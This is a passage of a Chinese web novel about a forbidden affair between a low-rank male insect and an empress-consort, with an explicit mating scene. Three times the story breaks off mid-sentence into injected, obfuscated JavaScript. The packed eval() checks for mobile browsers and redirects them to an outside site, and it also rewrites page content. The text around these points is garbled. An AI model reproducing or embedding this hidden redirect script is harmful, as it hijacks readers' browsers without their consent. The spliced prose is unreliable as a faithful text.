不过还是会在意这只小雄虫的状态,他在皇宫总觉得心神不宁,才找了个机会来探望,没想到这么严重。 作为拟人形态还是难以接纳雄虫的尾勾,饶是多么强大的雌虫,在合尾这种事上只能顺从本能。 感觉要裂了,雌虫抱着芬恩深吸一口气,阻止了雄虫的侵略:“等会儿,我换个形态。” 雌虫的虫形态又比雄虫的壮大,芬恩耐着性子,控制住自己,等待着泽费里诺的变化。 高级虫是可以在拟人和虫形态之间相互转换的,所以泽费里诺换的很快,他也是双腿先变化。 芬恩感觉到了,雌虫的虫形比他的大,尤其是那对黑色的夸张翅膀,明显有凤尾蝶的特征,所以芬恩猜想,泽费里诺是不是蝴蝶。 还没想明白,巨大的黑色双翼已经席卷来,将他整个包在其中,让易感期的雄虫有了无尽的安全感。 雌虫的虫形就是要比雄虫大,为的也是创造一个安全的合尾环境,自然界中很多虫子都具有这样特征,长久进化之后,就保留了这种有利的特点。 芬恩的翅膀也在进行变化,拟人形态时,翅膀是透明的,但虫体化之后,他的翅膀变成了白色的不透明双翼,和雌君黑色的翅膀形成鲜明的对比。 芬恩只从雌虫的巨大的翅膀上方露出一个脑袋,他完全看不到泽费里诺的半身虫体是什么样的,不过他有感觉,他俩好像是同一个品种的虫,只是颜色不一样。 尾腹都比较大,虫足能触到对方,相互贴着,芬恩的尾勾在雌虫的尾腹上寻找。 雌虫尾腹尽头是分叉的,方便雄虫尾勾索取,芬恩的尾腹尽头则和他相反,尾勾绝对突出。 虫形态确实比拟人形更直观,不用眼睛看,芬恩都能找到位置,不过这种结构证明了他的猜想,他枕在雌虫的肩上,小声问:“您是蝴蝶吗?” 泽费里诺感觉自己被撑开:“问那么多干什么?” 芬恩想起了自己小时候捉蝴蝶的景象,在夏季蝴蝶纷飞的季节,经常能看到两只蝴蝶的尾部黏在一起,那时候不懂事,看着笨重的蝴蝶飞不起来,还会捉住“好心”地给它俩分开。 那样蝴蝶就会轻松飞走了,现在想来,自己是什么活阎王,竟然打扰蝴蝶的好事。 尾部突出的那只,是嵌进尾部分叉的蝴蝶里。 如今他和泽费里诺也变成了这样的东西,要是有坏家伙这个时候把他和泽费里诺分开,他一定会抓狂。 一米多长的尾勾慢慢地消失在巨大的黑色翅膀里,泽费里诺还是一声不吭,芬恩觉得自己的虫形态恶心,却没觉得泽费里诺的恶心。 反而让他升起一股满足感,直到两只类似蝴蝶的虫完全紧密结合,雄虫到达日思夜想的雌虫孕腔,这场漫长的合尾才开始。 泽费里诺太冷静了,不在易感期的时候,这位雌君隐忍端庄,让雄虫忍不住想把他弄得乱七八糟,他想听雌虫的声音。 “泽费里诺。” 雌虫在适应雄虫半虫形态的尾勾,神色有些痛苦,但作为雌虫,天生就该被雄主驾驭,所以没一会儿他就好多了。 反过来责备芬恩。 “小东西越来越大胆,直呼我的名讳。” 芬恩不但要直呼他的名讳,还直接用虫子最原始的方法玷污了他。 “我就想叫您的名字,泽费里诺,您知道您现在属于谁吗?” 泽费里诺低头,气息微乱,清冷,额头抵在芬恩的鼻梁上。 他连这种时候都无比冷静。 “暂时允许你叫我的名字,你以为这样你就占有我了?” 芬恩不爱听他说这些话,尾勾故意在孕腔翻搅作乱。 “您的虫皇老公这样对过你吗?还是说只有我这样对过您。” 雌虫的尾腹一阵阵起伏。 “如果虫皇愿意跟我合尾,你觉得有你什么事吗?” 芬恩依旧不爱听这些,选择忽略,专注于自己的尾勾。 “虫皇眼瞎,连这么漂亮的您都能拒绝,您还爱他干什么?” “如果你是因为我的拟人外表才爱我,那我爱你干什么?” “……” 他承认,作为一个人类灵魂,首先确实被泽费里诺的外貌吸引,可随着时间的推移,他发现自己更爱这位雌君的坚韧和强大。 慕强的心理让这位雌君在他心中占据所有位置,芬恩比谁都清楚自己感情的转换。 他一直相信自己是个直男,毕竟除了泽费里诺,他对任何同为男人外形的虫子都没感觉。 只有泽费里诺。 他仰头索吻,下巴微微一抬就亲到了雌虫的嘴上,他牙齿两边没有蜕化的口器钻出,往雌君的口中探。 泽费里诺并未张嘴,任由他在唇上乱探。 芬恩依旧不满足于他的表现,尾腹狠狠一拱:“张嘴。” 泽费里诺眼眸清冷,近距离看着他:“越来越得寸进尺。” 芬恩的呼吸抚在他唇上:“您易感期的时候对我强取豪夺,就不得寸进尺?换成我,就成了得寸进尺。” 泽费里诺觉得孕腔要爆开:“别再增加了,吃不消。” 芬恩才发现变成虫体化之后,尾勾还藏在尾腹里好一大截,他还没完全给予雌虫。 他跟雌虫讲条件:“主动亲我,我就不增加了。” 泽费里诺一双清冷的黑眸望着雄虫的湖泊蓝眼底:“你真的大胆。” 芬恩不反驳:“反正贱命一条,死在您身上,我倒是觉得赚了。” 泽费里诺:“……” 芬恩破罐子破摔:“不如死前多讨一点甜头,也不枉和雌君好过一场。” 泽费里诺的心在轻轻发抖,伴随着孕腔传来的痛感:“如果你是高级雄虫,有点背景和能力,我都可以试着和你发展,可惜了,你不但没有背景,等级还这么低,除了当抚慰雄虫,真的无法和我并肩。” 这是芬恩的痛处,他不让雌虫说:“我要是高级雄虫,就不会和雌君在皇宫里相遇,我也不会被测定成亚雌进宫侍奉您,凡事都有好有坏。” 泽费里诺深吸一口气,黑色的长发缠在雄虫指间,他双手捧住雄虫的脸:“你知不知道,你这张脸和塞塔斯真的很像。” 芬恩专注地看着他的眼睛:“这种时候,就不要提起您那无用的丈夫了,和我偷情就好好偷,行不行?” 泽费里诺真不爱听他说这些混账话,凑上去狠狠吻住:“闭嘴,不要老是提醒我这种背德事。” 芬恩被他吻得身心舒畅,两边的口器钻进雌虫的口中,搅乱:“好,不说他,您现在是我的雌虫,是我的老婆。” 泽费里诺不语,只是一味地和他唇舌纠缠。 亲着亲着芬恩觉得不对劲,低头往翅膀里一看,泽费里诺的虫态要延伸到胸膛以上了,胸口都变成了黑色的甲。 芬恩吓得停止自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521312|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的索取:“您别变了。” 泽费里诺故意的:“不是很喜欢我吗?连我的虫形都接受不了,这么喜欢亲,我变成虫形给你亲?” 芬恩不敢造次了:“不亲了不亲了。” 他再喜欢泽费里诺,还没做好跟一只真正的虫子亲嘴的准备。 他埋头在雌虫的肩,缓了会儿,单手解开黑色抑制环,又去咬雌虫的腺体:“不亲了,我咬您的这里。” 泽费里诺便再没变,他觉得这雄虫很奇怪,明明自己是虫子,还害怕雌虫的虫形态。 按理说,雄虫看到雌虫的虫形态只会更癫狂。 脾气温和的雄虫,连易感期的合尾都很温柔,除了第一次时,那时候雄虫估计第一次和雌虫经历那种事,所以才没轻没重。 他能感觉到尾勾的搅动,却不觉得多痛苦,除了尾腹圆鼓鼓之外。 芬恩感觉这样好有安全感,经历过美好,才越想留住美好。 要是能和泽费里诺一辈子都这样就好了。 任谁都想不到,端庄瑰丽的帝国雌君,正在用尾腹接纳他的所有,如果他有生育能力,这位雌君的肚子里该有他的小虫宝。 长达一个小时的合尾,以雄虫的浇灌而结束,但他没第一时间撤出,抱着泽费里诺不肯撒手。 时间不早了,泽费里诺得回去,不然等虫皇回宫找不到他,会出事的。 他抱着雄虫半天之后,这才冷着声命令:“可以了,我得走了。” 芬恩还是不肯撒手:“让我再抱会儿。” 泽费里诺便耐着性子让他又抱了几分钟:“等你易感期过了,回皇宫又不是见不到。” 芬恩撒娇似的摇头:“这几天我见不到,会很想。” 泽费里诺不明白:“我不是把精神力收回来了?” 芬恩也嗯嗯点头:“跟那没关系,当然了,或许只是我需要雌虫,您的到来让我有了依赖感,不想放开。” 泽费里诺的黑色双翼慢慢散开:“等你离开我了,你找多少雌虫都行,那时候你就可以抱着不放了,平民虫好像也有娶多只雌虫的权利。” 芬恩没回答,他心想,拥有过泽费里诺,还有什么雌虫能进他的眼? 虽然不舍,但也不想让雌君被怀疑,他只得放弃自己暂时拥有的特权。 尾勾撤出,大量雄虫物质也顺势带出。 浓郁的雄虫信息素裹挟着不太清晰的雌虫信息素,落满了衣物。 在芬恩没看到之前,泽费里诺变成了拟人形,随便拿了件衣服擦拭自己,远离了让他不适的雄虫物质,开始穿衣服。 黑色双翼慢慢地收回羽窍,消失不见。 芬恩看着背对着他的雌虫,眼神中都是不舍和浓浓的爱意。 雌虫的拟人形身材真漂亮,肌肉纹理分明,长腿细腰。 见他拿了底裤要穿,芬恩着急地抬身一把夺了去:“这个东西您就留给我吧。” 泽费里诺神色复杂地看着他:“那我穿什么回去?” 芬恩把沾着雌虫信息素的小玩意捂在胸口:“裤子。” 泽费里诺:“……” 神色冷清地看了雄虫一会儿,端庄的雌君冷着脸拿了西裤穿好,起身系皮带。 依旧的高高在上。 “我以为只有得不到雄虫信息素的雌虫才会有这种癖好,没想到你也有。” 芬恩不加掩饰。 “我靠它度过接下来没有您的日子,看到了它,就相当于看到了您。” 泽费里诺整理好自己,将床头的一针浪费的抑制剂扔到垃圾桶,把剩下的给他放在桌上。 “有雌虫信息素的摄入,虫体化过两天就好了,这是抑制剂,实在扛不住就打一针,别逞能。” 芬恩莫名觉得雌君贤惠。 “您现在好像一个关爱丈夫的妻子,我的心感应到您的温柔。” “……” 泽费里诺不跟他贫嘴。 “我得回去了,等几天我会让米安来接你,没事了就多出去走走,别一直在房间里待着。” “好。” 泽费里诺又看了他几眼,这才抬步离去,房间的门再次被关上,芬恩感觉前不久像是一个美好的错觉。 他的幸福为何这样短暂?要是能持续一辈子多好…… 21. 第 21 章 过了两天,芬恩的虫体化真的好了,他的尾腹变成了人的双腿,尾勾也变得正常。 实在想泽费里诺的时候,那一件雌虫穿过的底裤,成了慰藉他的所有物,上面留有雌君的信息素气味。 芬恩从不觉得自己像个变态,可自从穿成虫族的低级雄虫之后,他发现自己和人类的行为习惯已经越来越远了。 这才多久啊,穿过来大概一个月,他已经被周围的环境同化了,还是说作为虫的本能控制着他,反正他觉得自己不像自己。 作为人类的他绝对不会把一个同为男人的底裤放在嘴边汲取上面的气味。 人类的衣服能够遮住尾勾的形态,他终于钻出了雌虫衣服筑成的巢,口腔内戴上了泽费里诺带来的止咬器,也在撑不住思念的时候,给自己打一针抑制剂。 他总是在想,泽费里诺在皇宫里怎么样了,他和虫皇重归于好了吗? 他不知道,只能凭靠想象去猜测,但长时间见不到心上虫,他的心始终会忍不住酸涩泛疼。 明明知道自己以后的结局和去处,却还是放纵自己想念,芬恩觉得自己没救了。 他把院子里的花瓣都打扫了,收集起来,将自己和泽费里诺的衣服都洗干净,唯独那件黑色的底裤他没有洗,一直抱在怀里入眠。 持续了十多天的易感期差点要了他的命,如果泽费里诺没来过,他可能真的得死在这个废弃的庄园里。 他的终端设备都在皇宫没拿出来,来的时候就只有雌君给的几瓶营养液,连换洗的衣服都没拿,好在泽费里诺的那些旧衣服他能穿。 离开皇宫的第九天,他的易感期症状已经全部消失,止咬器收进衣柜里,快到中午的时候,亚雌总管米安终于开着宫廷专用的飞船落在了偌大的庄园里。 芬恩将房间收拾整洁,那些旧衣服他也全部挂在原来的衣柜里,穿好自己的宫廷亚雌制服。 米安在城堡楼下喊他:“洛菲斯,帝后让我来接你,你收拾好了吗?” 芬恩得体地下楼,走出城堡,将大门关上,厚重的大门自动锁上。 米安见他出来,眯着眼看着他的身影:“真奇怪,就几天没见,我发现你变得更美貌了,难道在这废弃的庄园侍奉花草,有什么魔力?” 芬恩唇角微挑,笑容温柔和煦:“哪有什么魔力,可能在这里没有烦心事,心态好,状态会好一点。” 看着芬恩,米安有种莫名其妙的心悸:“也怪不得帝后对你上心,你长得真像雄虫,洛菲斯,如果你是雄虫,我肯定追你。” 芬恩神色温煦:“那就让总管阁下失望了,洛菲斯只是亚雌。” 米安示意他上飞船:“告诉你一个好消息,陛下和帝后重归于好,最近天天在帝后寝宫里,照这个情势发展下去,帝后怀孕都是近月的事,提心吊胆这么久,可算为帝后盼来了希望。” 芬恩低着头系安全带,没有回答米安的话。 米安启动飞船:“洛菲斯,你不开心?” 芬恩这才抬起头:“没有啊,挺开心的,帝后苦尽甘来,为他感到欣慰。” 米安驾驶着飞船往皇宫的方向飞去:“可不是嘛,在皇宫这么多年了,我真没见过虫皇这么低声下气过,他当皇子的时候就很冷淡,可最近都快住在帝后的寝宫,连公务都不想管了。” 芬恩知道,那位虫皇陛下肯定会后悔的,如果是人类的话,遇到这样的渣男老公,肯定想都不想就该离婚。 可这不是人类世界,这是强者为尊的虫族,虫皇塞塔斯是绝对的权利控制者,确实除了他,没有雄虫能配得上泽费里诺。 芬恩也不知道什么心情,一路上都很沉默,米安觉得他心情不好,也就再没说什么。 回到皇宫他也见不到泽费里诺,米安把飞船还给飞船管理处,带芬恩去见泽费里诺。 碰巧塞塔斯也过来,同雌君一起用膳,午膳好像吃的是牛排,是泽费里诺一贯喜欢的口味,没进餐厅都闻到了香味。 米安在餐厅外面回话:“帝后,您打发出去的亚雌我接回来了。” 泽费里诺只是朝着餐厅外瞥了一眼,声音清清淡淡:“回来就行,回岗位吧,我在和虫皇用膳。” 米安回头看了一眼芬恩,应下:“是。” 又带着芬恩出去,可芬恩绕了一圈去了自己住过的小房间所在的走廊,里面的花和他的想的一样,有些许都已经落了。 显然米安没管。 开着的花色都变得暗淡很多,芬恩觉得光线不错,将那些花搬出去“晒太阳”,米安问他干什么。 他说:“这些花娇贵,要有充足的光线才会开花,你要经常照料,这些花都是帝后喜欢的。” 米安“嘿”了一声:“怪不得你小子得宠呢,就这心思我真没你多。” 米安只是个尽职尽责的打工亚雌,和他不一样,关于泽费里诺的东西,他总是比任何虫都上心。 给花晒好,芬恩才回了自己的寝室,这个时候,亚雌们都去吃饭了,寝室内没亚雌。 芬恩将泽费里诺留给他的底裤放在枕头底下,去了浣衣部。 也没胃口吃东西,早上喝了一瓶营养剂,到现在还是饱的。 他想见泽费里诺,但他知道有点难,听米安的口气,虫皇最近都在帝后的寝宫,也不知道他们发展到什么程度了…… 一想到和他做过那些事的雌虫,以后也会和其他雄虫做,他的心就时不时抽痛。 他到底什么时候才能离开这个牢笼,他实在受不了这种对于精神的折磨。 越是焦虑痛苦,就越是想找事做,几天没回来,浣衣部亚雌换下来的衣服都堆满了。 芬恩一声不吭地开始一件一件捡起来往机器里扔。 中午一点半左右,米安又来传唤他,见他实在勤快,米安对他的看法也变了不少:“我在宫里十几年,没见过比你更勤快的亚雌。” 芬恩只是问:“你不在寝宫伺候帝后,又来干什么?” 米安叹口气:“帝后不知道又从哪里弄来一些花,刚栽上不久,他怕我们都照看不好,让你去照顾花草,不用在这里洗衣服了。” 芬恩心里一紧:“侍奉花草?” 米安点头:“他说只有你,能照顾好那些花,很贵的,一株就得上百万的虫币,我们一辈子都赚不来。” 芬恩的心开始乱跳:“那我住哪里?” 米安让他回去收拾衣服和床褥:“我住的那个走廊尽头不是有个空房间,你住那里。” 芬恩也没想到这次回来还能住进帝后的寝宫:“虫皇陛下不生气吗?” 米安摇头:“生什么气,你除了侍奉帝后的花草,平时也见不到帝后和虫皇,这不是大事。” 芬恩再没说话,米安一直等着他,看着他把每一个洗衣机器调整好。 米安告诉他:“这些亚雌的衣服你不用管,都是惯的毛病。” 芬恩笑了笑,没回答。 收拾好东西,回去的路上,米安帮他拎着装衣服的箱子:“其实我有意把你培养成下一任亚雌总管,让你留在宫里侍奉帝后,再过两年,我要出宫了,再不出去找只雄虫结婚,我都要老了。” 芬恩拎着自己的被褥:“不要,三年后,我也要出宫。” 米安一愣:“你还这么年轻,着急出去干什么?” 芬恩回答:“想出去体验一下自由。” 米安觉得可惜:“其实亚雌出去的太早不是什么好事,找不到雄虫匹配的。” 说到这里,米安又看向芬恩,半开玩笑似的:“不过,洛菲斯,你介意你的另一半是亚雌吗?” 芬恩被他吓一跳:“你又在拿我开玩笑。” 米安哈哈笑了两声:“没有,我就是觉得,你很符合我对雄虫的想象,我可以勉为其难把你当雄虫,跟你过日子。” 芬恩让他别闹了:“亚雌和亚雌能有什么前途,哥哥你还是找只雄虫。” 米安再没说什么,帮他把东西拎到帝后独居城堡的一楼走廊尽头,推开一间不大的房门。 里面已经收拾干净了,米安说:“前两天帝后让我把这里打扫了给你住,我看得出来他对你这只亚雌是真的很看重,洛菲斯你真不打算当下一任总管吗?” 芬恩礼貌道谢:“米安哥哥的盛情,我本不该推辞,可我能力有限,年纪小,没有经验,会出事的。” 米安让他别妄自菲薄:“你勤快,好学,肯定能做好。” 芬恩笑着摇头:“我还是更乐意服从命令。” 当了亚雌总管,他就离不开这里了,那样他还怎么忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521313|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉泽费里诺。 他强迫自己不去想念,可始终做不到,眼神总是不经意往雌君的寝殿方向看。 他问得漫不经心,尽量表现得正常:“雌君用完膳午休了吗?” 米安说:“跟虫皇出去了,都说了他俩最近感情很好,形影不离。” 芬恩“哦”了声:“那就好。” 那他就可以想办法遗忘了。 侍奉花草是一份轻松的工作,翻土,浇水,施肥,让花有足够的光照,也能让他沉淀一身浮躁。 搬来寝宫一整天都没看到泽费里诺的影子,傍晚的时候,夜幕四合,他才听到了寝宫外的飞船机动声,在这皇宫里,也只有虫皇的飞船能到处乱停。 想来应该是虫皇送帝后回来了,芬恩只是看了一眼,便收回了视线,后花园一院子里几百株花,他忙了一天都没忙完。 无意间瞥见了喷泉池附近的假山,他蹲在那里看了许久,思绪被拉回了那个易感期的晚上。 他那时候认为泽费里诺是在意他的,在他最煎熬的时候,还能让他抱着撕咬腺体,疼了也不吭声。 没想到是他想多了,换成任何一只雄虫,成为帝后的抚慰品之后,也会得到这种优待吧? 他终于明白,他并不是那位雌君的例外,虫皇才是。 出轨了还能原谅,那说明虫皇的位置至关重要,谁也比不得。 什么精神力和信息素专一,都是骗局。 不喜欢了,可以直接洗去,重新接纳新的雄虫。 芬恩的心发凉。 专心地做好他的本职工作,侍奉完那些花之后,夜色已经尽黑,周围的机器虫夜灯亮了起来。 他把工具收拾好,放去工具房,回到房间开始洗漱,洗去一身疲惫。 他和泽费里诺不会再见了吧,世界上最遥远的距离,近在咫尺,却连见一面都成了奢望。 想念折磨着他,辗转反侧,他真的想不顾一切冲进泽费里诺的寝殿,狠狠地拥抱他一次。 可他知道自己不能,那样只会害了泽费里诺。 身为高级雌虫的抚慰品,本就是一件很可笑的事情,更别说爱上一只不可能的雌虫。 芬恩觉得自己这辈子有了。 半夜三更,睡不着,他还是起身披了衣服走出了城堡,去后院看他侍奉的花。 将那些翻过的土又翻了一遍,这些花都叫不上名字,却一株比一株娇艳。 像雌君一样,美的热烈。 他透明的翅膀合在背上,银色长发落在脚下的泥土里,沾上一点杂色。 不知道谁的手,将他落在泥土里的长发拿起,低沉悦耳的声音也轻轻传来:“这么漂亮的银发,怎么能落在泥土里?” 芬恩的身子一僵,一种前所未有的悸动从四肢百骸向心脏蔓延,他停下了手中翻土的动作,缓缓抬头。 身后的雌虫将他的长发挽起来:“这么晚了不睡觉,在这里干什么?” 芬恩的心跳从停滞一瞬,到剧烈跳动,却是颤着声反问:“雌君这么晚了不休息,来这里干什么?” 泽费里诺让他起身:“去你房间找你,你不在,我就知道你在这里。” 芬恩放下工具,站起身子,回头望向那张朝思暮想的脸,心跳不听他的使唤:“您找我有事儿?” 泽费里诺盯着他那张脸看了一会儿,薄唇慢慢吐出两个字:“想你。” 轰隆—— 一整天刚做好的建设,在这一刻轰然坍塌,芬恩的眼尾开始泛酸泛红。 他喉结滚动,忍不住想把所有思念倾诉出来,可话到了嘴边,却成了无尽的沉默。 相互对望着,视线交汇,无言的凝视比任何亲密行为还要缠绵。 他的嘴动了动,还没说什么,黑发雌虫猛地凑近,薄唇狠狠地碾在他的唇上。 芬恩出了一口长气,沾着土的手捧住雌虫绝美的一张脸,张嘴,唇舌纠缠,一气呵成。 夜色寂静,虫灯昏暗。 他将泽费里诺推到不远处的墙角,没放开雌虫的嘴。 一只胳膊将雌虫的一条长腿捞起挂在自己的臂弯,另一只手摸向雌虫的腹。 “我就当你是来找我索求的,我给你,我把一切都给你,泽费里诺,我的这条命你要不要?” 22. 第 22 章 做好了平静接受雌君和虫皇复合的准备,回来的路上,米安在喋喋不休地说,而他沉默未语,是打算放下了。 可当泽费里诺亲自来找他,芬恩就很没出息地原谅了所有,他本就是个容易满足的人,没有贪心不足。 只要泽费里诺愿意为他花一点心思,他都能把自己的所有奉献给雌虫。 在地球的时候,恩爱的父母常告诉他:“做人要专一,对任何事情都要抱着负责的态度,尤其是对待恋爱,如果有喜欢的女孩子,一定要让她看到你的真心,她才敢爱你。” 虽然他喜欢的人不是女孩子,甚至不是人类,但芬恩觉得自己的真心不假,如果有可能,他真的很想和泽费里诺过一辈子。 可阻隔在他俩之间的,又何止是一个不同于人类族群的制度。 这拟人雌虫明明在他怀里,他却觉得那么遥远。 泽费里诺享受于他难得的失控:“我要你的命干什么?虽然一开始对你下手时,确实没想过放你走。” 芬恩就想试试雌虫拟人态会不会有人类才有的东西,泽费里诺也没有阻止他的行为,他成功触碰到了。 确实有,和作为人类的他,一模一样。 芬恩并未着急将手拿回来:“不想放我走,让我看着你和虫皇复合,怀孕,生子吗?” 芬恩真不想用敬语了,起码在这样的时刻,让他无视虫族的等级制度,把泽费里诺视为“男朋友”一样的雌虫,而不是主子。 泽费里诺不习惯别人这么碰他,以前除了塞塔斯,他真没想过会被另外的雄虫这样肆无忌惮地探索构造。 但芬恩就很例外,和这只小雄虫连虫族最隐秘禁忌的事都做了,那就没有什么不可以。 泽费里诺喜欢吓芬恩的恶趣味还是没改变:“不是,我想利用完你之后,处死你。” 原以为雄虫听到这句会害怕,可小雄虫沉默片刻后,却是说:“那在我死之前,雌君能说一声爱我吗?” 泽费里诺真是诧异,高贵的头颅枕在雄虫肩上:“都要死了,还在乎爱不爱,虫族哪有你这样的雄虫?我没见过,所有虫都在为了活下去而努力,情和爱并不是主流。” 芬恩轻轻嗯一声:“我也想活下去,不过雌君要是愿意分点爱给我,我可以死在你身边。” 泽费里诺:“……” 芬恩侧头,温热的薄唇落在雌虫颈项间:“死在老婆怀里,有什么可怕的,我一点都不怕。” 泽费里诺心情复杂:“我当不了你老婆。” 芬恩表示没关系:“希望以后会有机会,在我和你亲密无间时,你可以把我当成你的丈夫,哪怕只有一瞬间,我也觉得这段感情值了。” 泽费里诺长臂抱着他的脖颈,不发一言,也不知道在想什么。 芬恩把他摸出感觉来了,手掌心感觉到雌虫的动静,他小声问:“原来作为虫族,这样也会有感觉吗?” 泽费里诺觉得他有点天真的可爱:“叫你不好好读书,连虫族最起码的拟人常识都不懂,经过这么多年的进化,肯定得追上人类,人类男人身上有什么,我们就有什么,他们没有的,我们也有。” 芬恩觉得真神奇:“还不小。” 泽费里诺让他别摸了:“就是排泄用的,没有实际意义,你也有。” 芬恩当然知道自己有,毕竟他是雄虫,有也很正常,没想到作为雌虫的泽费里诺也有。 所以他爱上了一个真正的男人,只是这个男人会怀孕,这是人类男人迄今为止没进化出来的功能。 芬恩真想用人类的方式和泽费里诺合尾,以此证明,他真的拥有过雌虫。 内心蠢蠢欲动,芬恩拿出了自己的手,搂住雌虫精瘦的细腰,邀请雌虫同榻共眠:“去我房里吗?” 泽费里诺整个人枕在他肩上,其实这些天他的心也没放松过,一直紧绷着,天天都要应付塞塔斯,还得强颜欢笑,没有做过真正的自己。 只有在小雄虫身边的时候,他觉得自己才是自己:“去待会儿我就得回寝殿,虫皇早上会过来。” 芬恩点头:“好。” 泽费里诺离开他的怀抱,将衣服整了整,在前面走了。 芬恩将工具放好之后,跟在了他身后。 踏进城堡走廊,推开最后一间房的门,机器虫灯应声而亮,泽费里诺进去坐在了床沿。 芬恩去洗了手,拿了毛巾出来,给雌君擦脸,白玉无瑕的脸因为他不久前的举动,沾上了点泥土。 芬恩仔细地将他的脸擦洗一遍,刚开始侍奉雌君时,他干什么都笨拙,惹得雌君经常不乐意。 现在倒是很熟练了,但雌君不需要他侍奉了。 泽费里诺将他的房间打量一番:“小是小了点,但至少在我能看到的地方,就不怕亚雌欺负你。” 芬恩去浴室的脚步一顿,回头看他:“你是怕我被欺负才把我调过来?” 泽费里诺靠在床头看着他笑:“这些亚雌可八卦了,你在我的寝宫侍奉时,觉得你是我身边的红虫,一个个都巴结你,可你被打发去洗衣服了,他们又觉得你失宠了,肯定会挖苦嘲讽。” 芬恩抿着唇去浴室将毛巾挂起来,又走出来,站在床沿弯着腰看着泽费里诺一双墨色的眸:“那我到底失宠没有?” 泽费里诺眼眸沉静,一把将他拉到不大的床上:“你说呢?” 芬恩的心又开始不规矩地乱跳:“我不知道,伴君如伴虎,我猜不到你的心思。” 泽费里诺右手食指勾着芬恩的下巴,好整以暇:“至少,在你没离开我时,是不会失宠的,我也不会为了一只没兴趣的雄虫大晚上起来去后院找他,还被他带来床上。” 芬恩看着那双蛊惑的眼睛,喉结滚动频繁:“就寝吧,雌君。” 泽费里诺唇角一挑:“好,明天我起早点。” 芬恩给机器虫灯发布“关灯”指令,迅速上床去抱住泽费里诺,一起躺倒在不大的床上。 这是雌君给予的恩赐,芬恩肯定把握住机会。 他大着胆子将泽费里诺抱进怀里,哪怕就这样抱着安静地睡觉,他都觉得是幸福的。 泽费里诺不言不语,无论什么时候,他都冷静地让芬恩心慌。 他的脸颊贴在雌虫的鬓角,感受到长发的丝滑:“这样拥抱在一起的我们,真像一对恩爱的情侣,你像我那未过门的雌妻。” 泽费里诺枕在他肩上:“那不巧了,这辈子都不会过门了。” 芬恩蹭蹭他的额头:“没关系,在我心里,你早就过门了。” 泽费里诺没回答,闭着眼睛。 不多时,芬恩就听见了怀里传来的均匀呼吸声,那是睡着才会有的频率。 芬恩感觉自己想疼爱泽费里诺的心无处安放,最后也只有亲吻一下雌虫的头发,闭上眼睛,享受着短暂的幸福时刻。 拥抱他一晚,明天叫他去死,他都没怨言了。 原来和相爱的人抵足而眠,这么踏实。 只可惜美好的事情总是短暂的,等他一睁眼时,床上的雌虫已经不见了,外面的天色未亮。 芬恩两眼无神地看着天花板,直到天大亮。 哪怕不侍奉雌君了,他也得按时起床,米安会带着几个管理亚雌到处查岗,点名,迟到或者早退都会扣工资和营养液。 点到芬恩的时候,芬恩正在后面的花园里忙碌。 米安觉得奇怪了:“昨晚帝后睡得很早,他一向不赖床,勤于锻炼,今天都这会了还没起床。” 芬恩言语清淡:“可能昨天忙累了。” 米安摇头:“不,昨晚他出寝殿了,我以为是错觉,没叫我,我就没去看情况,真不知道他大晚上出去干什么。” 芬恩:“……” 米安凑近芬恩小声道:“我忙着清点亚雌侍从,估计半个小时之内忙不完,洛菲斯你能帮我去打扫一下帝后的寝宫吗?你也知道帝后不让其他亚雌进他的房间,除了我和你。” 米安一向不喜欢打扫卫生,芬恩不在的时候,整个城堡每天打扫三遍,都是他的活,都觉得自己光打扫卫生都要忙死。 现在有现成的帮手,他肯定会利用彻底。 芬恩有点紧张:“万一他睡醒发脾气,骂我怎么办?” 米安摇头:“不会,帝后最喜欢你了,在虫皇到来之前,你离开寝殿就是了。” 芬恩勤快,总是把雌君的寝殿内的每一个角落都擦洗得很干净,这样一来,雌君的心情也会好。 假装为难:“我已经不在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521314|203321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿内侍奉了,那些事还是总管阁下亲自做才好。” 米安都要给他跪下了:“我中午和下午都得重复一遍,求你了,早上的你帮我,这花园里也没什么事可干。” 米安把他手里的工具拿走,推着他往雌君寝殿的方向走:“他还没醒,快去。” 芬恩只能装作不情不愿的样子,朝着雌君的寝殿走去。 从走廊另一侧进去,就不用穿过寝殿厚重的门,侧门是开着的。 芬恩悄悄地进去,想着打扫完就行,顺便看看最近泽费里诺过得怎么样。 偌大的套房里,卧室的门是关着的,他将地板和桌子都擦干净,没敢推开雌君的卧室门。 还在做收尾工作,突然有人推开了厚重的殿门,芬恩被吓一跳,都没亚雌通报,虫皇塞塔斯出现在了内殿。 “你们雌君还没起床?” 芬恩低着头站在一边。 “是的。” 塞塔斯好像忘了他似的,从他身边走了过去。 刚走到卧室门口,泽费里诺打开门出来了,穿着昨晚的睡衣,长发有些凌乱。 